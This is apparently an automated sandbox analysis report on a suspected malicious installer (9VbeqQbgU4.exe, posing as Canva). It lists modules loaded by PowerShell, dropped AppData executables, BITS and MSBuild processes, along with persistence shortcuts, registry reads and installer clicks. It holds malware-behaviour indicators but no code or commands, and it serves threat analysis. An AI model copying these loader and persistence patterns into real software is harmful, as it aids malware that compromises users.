Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Canva.lnk.2.dr	LNK file: ..\..\..\..\..\..\Program Files (x86)\Canva\Canva.exe
Source: sfaldnatxf.10.dr	LNK file: ..\..\..\..\user\AppData\Roaming\sto\coml.exe
Source: BIT3EC5.tmp.12.dr	LNK file: ..\..\..\..\user\AppData\Roaming\sto\coml.exe

Reads the Windows registered owner settings

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Executable creates window controls seldom found in malware

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

Window found: window name: TSelectLanguageForm

Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Automated click: Next

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: 9VbeqQbgU4.exe

Static PE information: certificate valid

Submission file is bigger than most known malware samples

Source: 9VbeqQbgU4.exe

Static file information: File size 87653216 > 1048576

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 9VbeqQbgU4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1994206987.0000000008B80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: dobi.exe, 00000007.00000002.2036823237.0000018064BA7000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2115155764.00000180673B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: more.com, 0000000A.00000002.2196255608.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000A.00000002.2195856917.0000000004CC6000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2440909941.0000000004DCD000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441286289.00000000052A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: dobi.exe, 00000007.00000002.2036823237.0000018064BA7000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2115155764.00000180673B0000.00000004.00000800.00020000.00000000.sdmp
